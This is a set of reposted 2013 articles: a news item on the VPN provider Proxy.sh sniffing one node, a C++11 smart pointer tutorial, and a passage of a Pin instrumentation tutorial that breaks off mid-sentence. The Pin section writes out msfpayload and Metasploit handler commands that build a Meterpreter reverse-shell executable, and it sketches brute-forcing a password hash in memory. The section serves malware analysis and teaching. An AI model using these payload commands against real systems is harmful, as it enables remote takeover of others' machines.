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VPN provider 'Proxy.sh' sniffed the traffic of US based server to Catch Hackers Author: Mohit Kumar, The Hacker News - Monday, September 30, 2013 The very first question we always try to figure before choosing a trusted VPN service - Can't a VPN provider just look at my traffic all they want and see what I'm doing? Well, a reputated VPN provider today answers the Question and admitted that they sniffed the traffic on one of its United States-based servers in order to catch an alleged hacker. Proxy.sh, a quality VPN service with no-logging policy, made a surprise announcement: "We are unfortunate to announce that there have been abuses complaints about hacking activities on our U.S. Illinois 1 node. We have been saddened to learn that these actions were harmful to individuals (human beings). As a result, we will open this node again and monitor it with Wireshark for a period of 7 days. Torrentfreak noticed that there was no mention of any legal process, court order, police action or other similar outside influence compelling Proxy.sh to do so. The monitoring was triggered after Proxy.sh received a complaint from someone who claimed they were being harassed by a Proxy.sh user. The VPN provider then allegedly took it upon themselves to try and sort out the problem. "If you are the hacker, please stop your activities and leave our network. You are not welcome here. Our heaven is reserved for those who are not harmful to other human beings. If you do not leave, we will find you and report your activities to NGO and press officers. For all others, the heaven is still safe for you, dear ones. We will completely remove Wireshark after 7 days and restart the node so that everything is erased (RAM-switch). All other nodes are left unaffected by these actions. Update: Wireshark has now been removed/wiped." Later Proxy.sh provided the final statement that, "We have decided to install a monitor on our Illinois 1 node so as to locate the hacker. A few hours after we announced this move to our public, the hacker came to us to apologize. We then completely removed the Wireshark installation." Not all VPN service providers are worth your trust. Some diligently logs your connection times, dates, IP addresses, keep track of how long you're connected, and some even keep an eye on the types of traffic that you send through their networks while you're logged in. The best defense for user data is a quality VPN service, which will send the data through an encrypted tunnel to a secure inhouse server, hiding sensitive information from potential data thieves. Sursa: VPN provider 'Proxy.sh' sniffed the traffic of US based server to Catch Hackers - The Hacker News

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[h=1]C++11 Smart Pointers[/h]By syed_babu, 26 Sep 2013 Download Unique Pointer source - 4.54 KB Download Weak Pointer source - 3.95 KB Download Shared Pointer source - 4.31 KB [h=2]Introduction[/h] Ooops. Yet another article on smart pointers of C++11. Nowadays I hear a lot of people talking about the new C++ standard which is nothing but C++0x/C++11. I went through some of the language features of C++11 and it's really an amazing work. I'll focus only on the smart pointers section of C++11. [h=2]Background[/h] [h=3]What are the issues with normal/raw/naked pointers?[/h] Let's go one by one. People refrain from using pointers as they give a lot of issues if not handled properly. That's why newbie programmers dislike pointers. Many issues are involved with pointers like ensuring the lifetime of objects referred to by pointers, dangling references, and memory leaks. Dangling reference is caused if a memory block is pointed by more than one pointer variable and if one of the pointers is released without letting know the other pointer. As all of you know, memory leaks occur when a block of memory is fetched from the heap and is not released back. People say, I write clean and error proof code, why should I use smart pointers? And a programmer asked me, "Hey, here is my code. I fetched the memory from the heap, manipulated it, and after that I released it properly. What is the need of a smart pointer? " void Foo( ){ int* iPtr = new int[5]; //manipulate the memory block . . . delete[ ] iPtr; } The above code works fine and memory is released properly under ideal circumstances. But think of the practical environment of code execution. The instructions between memory allocation and releasing can do nasty things like accessing an invalid memory location, dividing by zero, or say another programmer pitching into your program to fix a bug and adding a premature return statement based on some condition. In all the above cases, you will never reach the point where the memory is released. This is because the first two cases throw an exception whereas the third one is a premature return. So the memory gets leaked while the program is running. The one stop solution for all of the above issues is Smart Pointers [if they are really smart enough]. [h=3]What is a smart pointer?[/h] Smart pointer is a RAII modeled class to manage dynamically allocated memory. It provides all the interfaces provided by normal pointers with a few exceptions. During construction, it owns the memory and releases the same when it goes out of scope. In this way, the programmer is free about managing dynamically allocated memory. C++98 has introduced the first of its kind called auto_ptr. [h=2]auto_ptr[/h] Let's see the use of auto_ptr and how smart it is to resolve the above issues. class Test{ public: Test(int a = 0 ) : m_a(a) { } ~Test( ) { cout<<"Calling destructor"<<endl; } public: int m_a; }; void main( ) { std::auto_ptr<Test> p( new Test(5) ); cout<<p->m_a<<endl; } The above code is smart to release the memory associated with it. What we did is, we fetched a memory block to hold an object of type Test and associated it with auto_ptr p. So when p goes out of scope, the associated memory block is also released. //***************************************************************class Test { public: Test(int a = 0 ) : m_a(a) { } ~Test( ) { cout<<"Calling destructor"<<endl; } public: int m_a; }; //*************************************************************** void Fun( ) { int a = 0, b= 5, c; if( a ==0 ) { throw "Invalid divisor"; } c = b/a; return; } //*************************************************************** void main( ) { try { std::auto_ptr<Test> p( new Test(5) ); Fun( ); cout<<p->m_a<<endl; } catch(...) { cout<<"Something has gone wrong"<<endl; } } In the above case, an exception is thrown but still the pointer is released properly. This is because of stack unwinding which happens when an exception is thrown. As all local objects belonging to the try block are destroyed, p goes out of scope and it releases the associated memory. Issue 1: So far auto_ptr is smart. But it has more fundamental flaws over its smartness. auto_ptr transfers the ownership when it is assigned to another auto_ptr. This is really an issue while passing the auto_ptr between the functions. Say, I have an auto_ptr in Foo( ) and this pointer is passed another function say Fun( ) from Foo. Now once Fun( ) completes its execution, the ownership is not returned back to Foo. //***************************************************************class Test { public: Test(int a = 0 ) : m_a(a) { } ~Test( ) { cout<<"Calling destructor"<<endl; } public: int m_a; }; //*************************************************************** void Fun(auto_ptr<Test> p1 ) { cout<<p1->m_a<<endl; } //*************************************************************** void main( ) { std::auto_ptr<Test> p( new Test(5) ); Fun(p); cout<<p->m_a<<endl; } The above code causes a program crash because of the weird behavior of auto_ptr. What happens is that, p owns a memory block and when Fun is called, p transfers the ownership of its associated memory block to the auto_ptr p1 which is the copy of p. Now p1 owns the memory block which was previously owned by p. So far it is fine. Now fun has completed its execution, and p1 goes out of scope and the memory blocked is released. How about p? p does not own anything, that is why it causes a crash when the next line is executed which accesses p thinking that it owns some resource. Issue 2: Yet another flaw. auto_ptr cannot be used with an array of objects. I mean it cannot be used with the operator new[]. //***************************************************************void main( ) { std::auto_ptr<Test> p(new Test[5]); } The above code gives a runtime error. This is because when auto_ptr goes out of scope, delete is called on the associated memory block. This is fine if auto_ptr owns only a single object. But in the above code, we have created an array of objects on the heap which should be destroyed using delete[ ] and not delete. Issue 3: auto_ptr cannot be used with standard containers like vector, list, map, etc. As auto_ptr is more error prone and it will be deprecated, C++ 11 has come with a new set of smart pointers, each has its own purpose. shared_ptrunique_ptrweak_ptr [h=2]shared_ptr[/h] OK, get ready to enjoy the real smartness. The first of its kind is shared_ptr which has the notion called shared ownership. The goal of shared_ptr is very simple: Multiple shared pointers can refer to a single object and when the last shared pointer goes out of scope, memory is released automatically. Creation: void main( ){ shared_ptr<int> sptr1( new int ); } Make use of the make_shared macro which expedites the creation process. As shared_ptr allocates memory internally, to hold the reference count, make_shared( ) is implemented in a way to do this job effectively. void main( ){ shared_ptr<int> sptr1 = make_shared<int>(100); } The above code creates a shared_ptr which points to a memory block to hold an integer with value 100 and reference count 1. If another shared pointer is created out of sptr1, the reference count goes up to 2. This count is known as strong reference. Apart from this, the shared pointer has another reference count known as weak reference, which will be explained while visiting weak pointers. You can find out the number of shared_ptrs referring to the resource by just getting the reference count by calling use_count( ). And while debugging, you can get it by watching the stong_ref of the shared_ptr. Destruction: shared_ptr releases the associated resource by calling delete by default. If the user needs a different destruction policy, he/she is free to specify the same while constructing the shared_ptr. The following code is a source of trouble due to the default destruction policy: class Test{ public: Test(int a = 0 ) : m_a(a) { } ~Test( ) { cout<<"Calling destructor"<<endl; } public: int m_a; }; void main( ) { shared_ptr<Test> sptr1( new Test[5] ); } Because shared_ptr owns an array of objects, it calls delete when it goes out of scope. Actually, delete[ ] should have been called to destroy the array. The user can specify the custom deallocator by a callable object, i.e., a function, lambda expression, function object. void main( ){ shared_ptr<Test> sptr1( new Test[5], [ ](Test* p) { delete[ ] p; } ); } The above code works fine as we have specified the destruction should happen via delete[]. [h=4]Interface[/h] shared_ptr provides dereferencing operators *, -> like a normal pointer provides. Apart from that it provides some more important interfaces like: get( ) : To get the resource associated with the shared_ptr.reset( ) : To yield the ownership of the associated memory block. If this is the last shared_ptr owning the resource, then the resource is released automatically.unique: To know whether the resource is managed by only this shared_ptr instance.operator bool: To check whether the shared_ptr owns a memory block or not. Can be used with an if condition. OK, that is all about shared_ptrs. But shared_ptrs too have a few issues:. Issues: If a memory is block is associated with shared_ptrs belonging to a different group, then there is an error. All shared_ptrs sharing the same reference count belong to a group. Let's see an example. void main( ){ shared_ptr<int> sptr1( new int ); shared_ptr<int> sptr2 = sptr1; shared_ptr<int> sptr3; sptr3 = sptr2; } The below table gives you the reference count values for the above code. All shared_ptrs share the same reference count hence belonging to the same group. The above code is fine. Let's see another piece of code. void main( ){ int* p = new int; shared_ptr<int> sptr1( p); shared_ptr<int> sptr2( p ); } There is another issue involved with creating a shared pointer from a naked pointer. In the above code, consider that only one shared pointer is created using p and the code works fine. Consider by mistake if a programmer deletes the naked pointer p before the scope of the shared pointer ends. Oooppss!!! Yet another crash..Cyclic Reference: Resources are not released properly if a cyclic reference of shared pointers are involved. Consider the following piece of code. class B;class A { public: A( ) : m_sptrB(nullptr) { }; ~A( ) { cout<<" A is destroyed"<<endl; } shared_ptr<B> m_sptrB; }; class B { public: B( ) : m_sptrA(nullptr) { }; ~B( ) { cout<<" B is destroyed"<<endl; } shared_ptr<A> m_sptrA; }; //*********************************************************** void main( ) { shared_ptr<B> sptrB( new B ); shared_ptr<A> sptrA( new A ); sptrB->m_sptrA = sptrA; sptrA->m_sptrB = sptrB; } The above code has cyclic reference. I mean class A holds a shared pointer to B and class B holds a shared pointer to A. In this case, the resource associated with both sptrA and sptrB are not released. Refer to the below table. Reference counts for both sptrA and sptrB go down to 1 when they go out of scope and hence the resources are not released!!!!! To resolve the cyclic reference, C++ provides another smart pointer class called weak_ptr. [h=2]Weak_Ptr[/h] A weak pointer provides sharing semantics and not owning semantics. This means a weak pointer can share a resource held by a shared_ptr. So to create a weak pointer, some body should already own the resource which is nothing but a shared pointer. A weak pointer does not allow normal interfaces supported by a pointer, like calling *, ->. Because it is not the owner of the resource and hence it does not give any chance for the programmer to mishandle it. Then how do we make use of a weak pointer? The answer is to create a shared_ptr out of a weak _ptr and use it. Because this makes sure that the resource won't be destroyed while using by incrementing the strong reference count. As the reference count is incremented, it is sure that the count will be at least 1 till you complete using the shared_ptr created out of the weak_ptr. Otherwise what may happen is while using the weak_ptr, the resource held by the shared_ptr goes out of scope and the memory is released which creates chaos. [h=4]Creation[/h] A weak pointer constructor takes a shared pointer as one of its parameters. Creating a weak pointer out of a shared pointer increases the weak reference counter of the shared pointer. This means that the shared pointer shares it resource with another pointer. But this counter is not considered to release the resource when the shared pointer goes out of scope. I mean if the strong reference of the shared pointer goes to 0, then the resource is released irrespective of the weak reference value. void main( ){ shared_ptr<Test> sptr( new Test ); weak_ptr<Test> wptr( sptr ); weak_ptr<Test> wptr1 = wptr; } We can watch the reference counters of the shared/weak pointer. Assigning a weak pointer to another weak pointer increases the weak reference count. So what happens when a weak pointer points to a resource held by the shared pointer and the shared pointer destroys the associated resource when it goes out of scope? The weak pointer gets expired. How to check whether the weak pointer is pointing to a valid resource? There are two ways: Call the use_count( ) method to know the count. Note that this method returns the strong reference count and not the weak reference.Call the expired( ) method. This is faster than calling use_count( ). To get a shared_ptr from a weak_ptr call lock( ) or directly casting the weak_ptr to shared_ptr. void main( ){ shared_ptr<Test> sptr( new Test ); weak_ptr<Test> wptr( sptr ); shared_ptr<Test> sptr2 = wptr.lock( ); } Getting the shared_ptr from the weak_ptr increases the strong reference as said earlier. Now let's see how the cyclic reference issue is resolved using the weak_ptr. class B;class A { public: A( ) : m_a(5) { }; ~A( ) { cout<<" A is destroyed"<<endl; } void PrintSpB( ); weak_ptr<B> m_sptrB; int m_a; }; class B { public: B( ) : m_b(10) { }; ~B( ) { cout<<" B is destroyed"<<endl; } weak_ptr<A> m_sptrA; int m_b; }; void A::PrintSpB( ) { if( !m_sptrB.expired() ) { cout<< m_sptrB.lock( )->m_b<<endl; } } void main( ) { shared_ptr<B> sptrB( new B ); shared_ptr<A> sptrA( new A ); sptrB->m_sptrA = sptrA; sptrA->m_sptrB = sptrB; sptrA->PrintSpB( ); } [h=2]Unique_ptr[/h] This is almost a kind of replacement to the error prone auto_ptr. unique_ptr follows the exclusive ownership semantics, i.e., at any point of time, the resource is owned by only one unique_ptr. When auto_ptr goes out of scope, the resource is released. If the resource is overwritten by some other resource, the previously owned resource is released. So it guarantees that the associated resource is released always. [h=4]Creation[/h] unique_ptr is created in the same way as shared_ptr except it has an additional facility for an array of objects. Collapse | Copy Code unique_ptr<int> uptr( new int ); The unique_ptr class provides the specialization to create an array of objects which calls delete[ ] instead of delete when the pointer goes out of scope. The array of objects can be specified as a part of the template parameter while creating the unique_ptr. In this way, the programmer does not have to provide a custom deallocator, as unique_ptr does it. Collapse | Copy Code unique_ptr<int[ ]> uptr( new int[5] ); Ownership of the resource can be transferred from one unique_ptr to another by assigning it. Keep in mind that unique_ptr does not provide you copy semantics [copy assignment and copy construction is not possible] but move semantics. In the above case, if upt3 and uptr5 owns some resource already, then it will be destroyed properly before owning a new resource. [h=4]Interface[/h] The interface that unique_ptr provides is very similar to the ordinary pointer but no pointer arithmetic is allowed. unique_ptr provides a function called release which yields the ownership. The difference between release( ) and reset( ), is release just yields the ownership and does not destroy the resource whereas reset destroys the resource. [h=3]Which one to use?[/h] It purely depends upon how you want to own a resource. If shared ownership is needed then go for shared_ptr, otherwise unique_ptr. Apart from that, shared_ptr is a bit heavier than unique_ptr because internally it allocates memory to do a lot of book keeping like strong reference, weak reference, etc. But unique_ptr does not need these counters as it is the only owner for the resource. [h=2]Using the code[/h] I have attached the worked out code to explain the details of each pointer. I have added enough comments to each instruction. Ping me back if you find any problems with the code. The weak pointer example demonstrates the problems with shared pointers in the case of cyclic reference and how the weak pointer resolves it. [h=2]History[/h] This is the first version of the article. I'll keep you updated based on feedback and comments. [h=2]License[/h] This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL) [h=2]About the Author[/h] syed_babu Software Developer India I'm working as Senior software Engineer since 7 years and interested in MFC and COM programming. Sursa: C++11 Smart Pointers - CodeProject

Pin: Dynamic Binary Instrumentation Framework Dejan Lukan September 30, 2013 Introduction Pin is a DBI framework for IA-32 and x86-64 architectures, which can be used for dynamic analysis of the binary program at run time. When using Pin framework to build tools, you’re actually creating pintools; you can think of Pin as an abstraction layer that abstract away the underlying details of dynamic analysis [1]. Pin does that by readings the process’s code, saving it into memory and inserting its own instructions while generating the code. Therefore, Pin then executes the generated code, which will execute the code of the main program plus the additional inserted instructions. Pin can be used to insert C/C++ code in arbitrary places in the dynamically executed executable; you can either start a new process directly from pintool (our own program that uses Pin framework) or attach to an already running process. When developing the pintool, you’re actually telling Pin how to generate the code from the main executable: you’re influencing the code addition/modification processes. When you run a program within a pintool, it will stop the program execution at first instruction and modify the code generation process. Then it will generate the code it will later execute by using one of the following modes [2]: Trace Instrumentation: pintool processes one trace at a time by starting from the current instruction and ending with an unconditional branch (including calls and returns), which can be completed by using the TRACE_AddInstrumentFunction API call. Instruction Instrumentation: pintool processes one instruction at a time, which can be completed by using the INS_AddInstrumentFunction API call. Image Instrumentation: pintool processes an entire image where Pin can iterate over program sections, routines in a section or instructions in a routine. You can insert additional instructions before/after the routine is executed or before/after an instruction is executed. Here you have to use IMG_AddInstrumentFunction API call. Routine Instrumentation: pintool processes one routine where Pin can iterate over instructions of a routine. Additional instructions can be inserted before/after routine execution or before/after instruction execution. Here you have to use RTN_AddInstrumentFunction API call. There are a couple of callback functions that you can use with the pin framework and are presented below: TRACE_AddInstrumentFunction: directly corresponds with the Trace Instrumentation Mode INC_AddInstrumentFunction: directly corresponds with the Instruction Instrumentation Mode IMG_AddInstrumentFunction: directly corresponds with the Image Instrumentation Mode RTN_AddInstrumentFunction: directly corresponds with the Routine Instrumentation Mode PIN_AddFiniFunction: PIN_AddDetachFunction The callback functions mentioned above have the prototypes presented below, where the fun argument repesents a function to be called and the val represents the parameter to be passed to the fun function [2]: INS_AddInstrumentFunction (INSCALLBACK fun, VOID *val) TRACE_AddInstrumentFunction (TRACECALLBACK fun, VOID *val) RTN_AddInstrumentFunction (RTNCALLBACK fun, VOID *val) IMG_AddInstrumentFunction (IMGCALLBACK fun, VOID *val) PIN_AddFiniFunction (FINICALLBACK fun, VOID *val) PIN_AddDetachFunction (DETACHCALLBACK fun, VOID *val) Since the val parameter is a pointer to VOID, you can basically pass any structure to the callback function. Some of the examples that you can pass to the callback functions are presented below (summarized after [2]): Instruction Pointer Value of Register Current value of Registers Effective Address of Memory Operations Constants Number of bytes of Read Memory Number of bytes of Written Memory Function Result … The function abbreviations are as follows, which is provided for clarity of the discussion: IMG : image SEC : section in an image RTN : routine in a section INS : instruction in a routine SYM : symbol object There are also other various functions you can use, where some of them are presented below: PIN_InitSymbols: initialize the symbols which will be used by the Pin framework. INS_Delete: remove the instruction. INS_RewriteMemoryOperand: change the memory value accessed by the instruction. PIN_AddSyscallEntryFunction: do some action when system call occurs: you can use this to print which system call was called and all of the parameters passed to the system call. PIN_AddSyscallExitFunction: do some action when exiting from system call: you can use this to print the return value of a system call. PIN_GetSyscallArgument: you can call this function to get the arguments of system call; the important thing to note here is that you must pass it the SYSCALL_STANDARD object, which is used when declaring where the arguments of the system call are stored. Note that depending on the calling convention used, they can be stored in registers or on stack [4]. The Inscount0 Example You can download Pin from here and select the appropriate version. I downloaded the pin-2.12-58423-gcc.4.4.7-linux.tar.gz file and extracted its contents. After that I changed the directory to source/tools/ManualExamples/ and built the inscount0 example as presented in [2]. For reference, the executed commands can be seen below. [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]# tar xvzf pin-2.12-58423-gcc.4.4.7-linux.tar.gz # cd pin-2.12-58423-gcc.4.4.7-linux/source/tools/ManualExamples/ # make inscount0.test [/TD] [/TR] [/TABLE] Now the inscount0 example is built and the inscount0.so is stored in the newly created obj-intel64/ folder. Now you can run the pin command by passing it the path to the inscount.so. Let’s now run the /bin/ls command with pin as presented below. [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]# pin -t obj-intel64/inscount0.so -- /bin/ls [/TD] [/TR] [/TABLE] The inscount0 example will count the number of executed instructions by increasing the counter by 1 before every executed instruction. Once the program exists, pin will save the results in inscount.out file, which will contain the number of executed instructions; in our case there youre 563175 executed instructions as can be seen below. [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]# cat inscount.out Count 563175 [/TD] [/TR] [/TABLE] Let’s now present the actual program that was used to calculate the number of executed instructions, which can be seen below. #include#include #include "pin.H" ofstream OutFile; // The running count of instructions is kept here // make it static to help the compiler optimize docount static UINT64 icount = 0; // This function is called before every instruction is executed VOID docount() { icount++; } // Pin calls this function every time a new instruction is encountered VOID Instruction(INS ins, VOID *v) { // Insert a call to docount before every instruction, no arguments are passed INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END); } KNOB KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "inscount.out", "specify output file name"); // This function is called when the application exits VOID Fini(INT32 code, VOID *v) { // Write to a file since cout and cerr maybe closed by the application OutFile.setf(ios::showbase); OutFile << "Count " << icount << endl; OutFile.close(); } /* ===================================================================== */ /* Print Help Message */ /* ===================================================================== */ INT32 Usage() { cerr << "This tool counts the number of dynamic instructions executed" << endl; cerr << endl << KNOB_BASE::StringKnobSummary() << endl; return -1; } /* ===================================================================== */ /* Main */ /* ===================================================================== */ /* argc, argv are the entire command line: pin -t -- ... */ /* ===================================================================== */ int main(int argc, char * argv[]) { // Initialize pin if (PIN_Init(argc, argv)) return Usage(); OutFile.open(KnobOutputFile.Value().c_str()); // Register Instruction to be called to instrument instructions INS_AddInstrumentFunction(Instruction, 0); // Register Fini to be called when the application exits PIN_AddFiniFunction(Fini, 0); // Start the program, never returns PIN_StartProgram(); return 0; } In the beginning of the code you have the icount variable that holds the number of executed instruction; note that the variable is 64-bit, which means it can present the number from 1 – 2^64 that is needed to present the instruction count of longer programs where regular 32-bit integers are not enough. The docount() function increases the icount variable by 1 when each instruction is executed. You can see what the program does if you look at the main function where you’re first initializing the pin. After that you’re registering the function to be used before each and every instruction is executed: the Instruction function is called every time. The Instruction function calls INS_InsertCall to insert additional call to docount() function before executing each instruction. Additionally, in the main function, you also have the PIN_AddFiniFunction, which registers the function that will be called when the application exits: the Fini function. That function writes the number of executed instructions into the inscount.out file. At the end of the main() function you must also call the PIN_StartProgram to actually start the program and also inject calls to docount() function before executing each and every instruction. Now let’s also look at how you can compile the same example under Windows, because you’ll need it later on. First, you must install Visual C++, which is a requirement if you don’t want to bother ourselves with Mingw/Cygwin, so you should install that; I won’t cover it here, since it should be fairly self-explanatory. After the installation of Visual C++, you need to open Visual Studio project file under MyPinTool directory under extracted pin archive as shown below. By using this you can easily create a new tool with Visual Studio. Once opened, you can change the MyPinTool.cpp source code and copy the inscount0 example in there. The build process should succeed without a problem, which should give is MyPinTool.dll library, which you can use for counting the number of instructions of some program. I copied the DLL into the C:\pin\ directory where the pin.exe is also located. Then I executed the “pin.exe -t MyPinTool.dll – C:\Windows\System32\calc.exe” command, which opens a new instance of calculator as shown below. After you calculate some equations with calculator, you can close it and pin.exe will also be automatically closed. If you remember correctly from the previous example, the number of executed instructions should be written to the inscount0.txt file. Below you can see that 133875503 instructions youre executed during the calculator execution, which seems quite a lot, but computers can handle that without a problem. The Meterpreter Example In this example, you’ll first create Meterpreter executable that can connect back to our machine and launch it on Windows operating system to prove that it works. Then, you’ll download pin framework for Windows and use it to start the Meterpreter executable. The point of the exercise is printing all the shared libraries the Meterpreter uses while connecting back to our computer. To create the Meterpreter executable, you can use the msfpayload command as presented below: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 X > meterpreter.exe Created by msfpayload (Penetration Testing Software | Metasploit). Payload: windows/meterpreter/reverse_tcp Length: 290 Options: {"LHOST"=>"192.168.1.2", "LPORT"=>"4444"} [/TD] [/TR] [/TABLE] To test whether that executable connects back to our Linux machine, you first have to start a handler with the “msfconsole -r meterpreter.rb” command, where the meterpreter.rb is outlined below. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 4444 set LHOST 0.0.0.0 set ExitOnSession false exploit -j -z [/TD] [/TR] [/TABLE] After the handler has been started, a new port 4444 should be open on our Linux machine, waiting for Meterpreter executable to connect. When the Meterpreter executable connects to the handler, a new session is spawned, which you can enter by issuing “session -i 1? command. Below you entered the newly spawned Meterpreter session and executed the sysinfo command to prove that Meterpreter session is working: > sysinfo Computer : ADMIN-PC OS : Windows 7 (Build 7600). Architecture : x86 System Language : en_US Meterpreter : x86/win32 So far, you’ve established only that Meterpreter indeed connects back to the handler, but you don’t have a clue which system calls are actually being called. In order to print each and every system call used by Meterpreter, you need to create a pintool that calls the PIN_AddSyscallEntryFunction/PIN_AddSyscallExitFunction, which have the following syntax: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]PIN_AddSyscallEntryFunction(SYSCALL_ENTRY_CALLBACK fun, VOID *val); PIN_AddSyscallExitFunction(SYSCALL_EXIT_CALLBACK fun, VOID *val); [/TD] [/TR] [/TABLE] Notice that you’re passing the parameter fun into the above functions, which is actually the function that is going to be called before and after the system call is executed. Let’s first count the number of instructions executed when meterpreter.exe gets executed. If you start meterpreter.exe with pin, wait for it to connect back to create a reverse shell and then kill the meterpreter.exe from task manager, the inscount.out won’t contain the number of instructions executed, because the program hasn’t existed cleanly. You can see that on the picture below, where the inscount.out file doesn’t contain anything. After that I added some code to be able to monitor system calls. I’ve added the PIN_AddSyscallEntryFunction and PIN_AddSyscallExitFunction function calls, which instruct PIN to call the specified functions before and after entering the system call. The whole code can be seen below, where you can see exactly how you’re setting the SyscallEntry and SyscallExit functions. In SyscallEntry function you’re saving the function name and the first tree arguments into the output file and in SyscallExit, you’re saving the syscall’s return value. Note that the PIN_GetSyscallArgument automatically knows whether the argument is stored in register or on stack, so you don’t have to worry about that; it’s abstracted away by the PIN framework. #include#include #include "pin.H" ofstream out; VOID SyscallEntry(THREADID tid, CONTEXT *ctx, SYSCALL_STANDARD std, VOID *v) { printf("System call: %d\n", PIN_GetSyscallNumber(ctx, std)); ADDRINT num = PIN_GetSyscallNumber(ctx, std); ADDRINT arg1 = PIN_GetSyscallArgument(ctx, std, 0); ADDRINT arg2 = PIN_GetSyscallArgument(ctx, std, 0); ADDRINT arg3 = PIN_GetSyscallArgument(ctx, std, 0); out << " Syscall Number: " << num << "(" << arg1 << ", " << arg2 << ", " << arg3 << ")" << endl; } VOID SyscallExit(THREADID tid, CONTEXT *ctx, SYSCALL_STANDARD std, VOID *v) { out << "[exit] Return: " << PIN_GetSyscallReturn(ctx, std) << endl; } KNOB KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "inscount.out", "specify output file name"); VOID Fini(INT32 code, VOID *v) { out.setf(ios::showbase); out.close(); } INT32 Usage() { cerr << "This tool counts the number of dynamic instructions executed" << endl; cerr << endl << KNOB_BASE::StringKnobSummary() << endl; return -1; } int main(int argc, char * argv[]) { if (PIN_Init(argc, argv)) return Usage(); out.open(KnobOutputFile.Value().c_str(), ios::out | ios::app); /* functions to get called on system calls */ PIN_AddSyscallEntryFunction(SyscallEntry, 0); PIN_AddSyscallExitFunction(SyscallExit, 0); PIN_AddFiniFunction(Fini, 0); PIN_StartProgram(); return 0; } You can simply run the program with “pin.exe -t MyPinTool.dll — meterpreter.exe” command as can be seen below. After you’ve pressed Ctrl-C to kill the pin and meterpreter process, the incount.txt file will be populated with all the system calls that happened during meterpreter execution. On the picture below you can see the “” lines that represent the system calls entry functions, where the system call number is printed as youll as three of its arguments. You’ve just seen that PIN framework captures every system call and gave us a change to react upon it; you chose to only write some text into the .txt file, but you might do something totally different; it all depends on our needs. You might catch only the connect system call and change the host and port to where the meterpreter.exe connects; the PIN can absolutely be used for that or other even more complicated things. You can also notice that only system call numbers youre printed. If you would like to print actual names, you would need to traverse the export directory of the ntdll.dll library and compare the system call number with the given number and once found, print the name of the function. When traversing the export directory, you should be using AddressOfNames, AddressOfFunctions, AddressOfNameOrdinals and NumberOfNames. You can see that this quickly gets complicated even when you have PIN on our side helping us. Note that PIN doesn’t support syscall id to name conversion as far as I know. You can also add the following code to the project and also “INS_AddInstrumentFunction(Instruction, 0);” to the main function, which will invoke the Instruction function on every executed instruction; that function will then write the instruction to the inscount.txt text file. VOID Instruction(INS ins, VOID *v) { out << "[iNS] " << INS_Disassemble(ins) << endl; } After the execution of Meterpreter, the start of the executed instruction will look like presented on the picture below. There you can clearly see all the executed instructions that youre needed to spawn reverse Meterpreter shell. Taint Analysis with Pin Here I’ll briefly present the summary of the article written by Jonathan Salwan, who used Pin for taint analysis; his blog post is presented at [3]. For any of you who don’t know what taint analysis is, it’s a method of detecting vulnerabilities in programs by marking registers and memory locations, which can be accessed with user-controlled input data, as tainted. This is useful because if a program later uses the tainted values stored in the registers or memory locations in specific way, this can be a possible security vulnerability. But how can a program use tainted vales to introduce a security vulnerability. For example, if you can change the value on the stack where the EIP was saved, the function will jump to that location when returning. Therefore if you overwrite that location with arbitrary value, you can jump to arbitrary location in memory, which is a typical stack overflow vulnerability. Whenever marking memory locations as tainted, you need to decide what the smallest tainted memory information it will be: 1 bit: useful if there are operations in the code that work with bits (not very common) 1 byte: useful whenever the code references al or ah or ax registers, which are the loyour 8-bits, higher 8-bits and loyour 16-bits of register EAX. 4 bytes: useful when the code only operates with normal registers, which hold 4 bytes of data. Whenever you need to decide what you would like to do, you must keep in mind that you need to reserve an additional amount of memory to store memory locations of tainted memory blocks. Normally, you would have a table representing the whole memory space of the application where you would store tainted and non-tainted memory blocks, but a great optimization is to store just the tainted memory blocks in a linked-list or somewhere. If you would like to know more about taint analysis with PIN, you can read about it in a great article at [3], where everything is explained in detail. In-Memory Fuzzing There’s another great article about in-memory fuzzing written by Jonathan Salwan and is accessible at [6]. In-memory fuzzing can be used to test a portion of the code in memory; for example, let’s suppose the program has embedded MD5 hash, which is being used to check whether the user should be logged into the system or not. The source code of a very simple C program can be seen below, where the hash contains the MD5 hash of the word ‘passwd’ and the str variable points to the inputted argument. The program then calculates the MD5 of the inputted password and compares that to the embedded MD5 hash. If the hashes match, it prints the success message, otherwise the error messages. #include "md5.h"#include using namespace std; int main(int argc, char **argv) { /* hash of 'passwd' and inputted argument password */ char *hash = "76a2173be6393254e72ffa4d6df1030a"; char *str = argv[1]; /* check if md5 matches the inputted password */ if(md5(str) == hash) { printf("Success: the entered password was right.\n"); } else { printf("Error: you didn't enter the right password.\n"); } system("PAUSE"); return 0; } Let’s first check whether the MD5 hash actually matches the ‘passwd’ string, so you won’t be working blindly here. It can be done very easily with the echo command passing it the ‘passwd’ string; note that you have to use the –n argument, which suppresses the terminating newline at the end of the string, which is needed for md5sum tool to print the right MD5 hash. In the output below, you can see that hash is correct. # echo –n "passwd" | md5sum 76a2173be6393254e72ffa4d6df1030a - Let’s compile and run the program in Visual Studio to see what you get. In Project Properties – Configuration Properties – Debugging, you have to input the ‘passwd’ string in “Command Arguments”, so you’ll be passing the right command line argument to the program. If the password is correct, the following will be printed to command line. If the password doesn’t match, the printed text will be as seen below. There you’re see it multiple times I stumbled upon such a problem in penetration testing in other applications. But still, the problem is the same, just the tools used are different. There are multiple ways to solve the problem: Python Script: you can program a simple Python script to brute force the login password until the hash matches. The problem is that you don’t know in advance what the binary is doing, so brute forcing the input argument seems like the last resort you want to use if everything else fails. FindMyHash: you can use findmyhash.py script, which connects to various sites passing them the embedded hash. Then try to crack the hash and report back on its status. If you want to use this approach, you need to open the binary with a debugger, understand the instructions and pull out the MD5 hash. This method requires a lot more work than writing the Python script, but the problem should be solved sooner. PIN Framework: you can use PIN framework to write a wrapper around the relevant instructions in binary program to brute force the password in memory. This approach is the coolest of them all and you will take a look at it 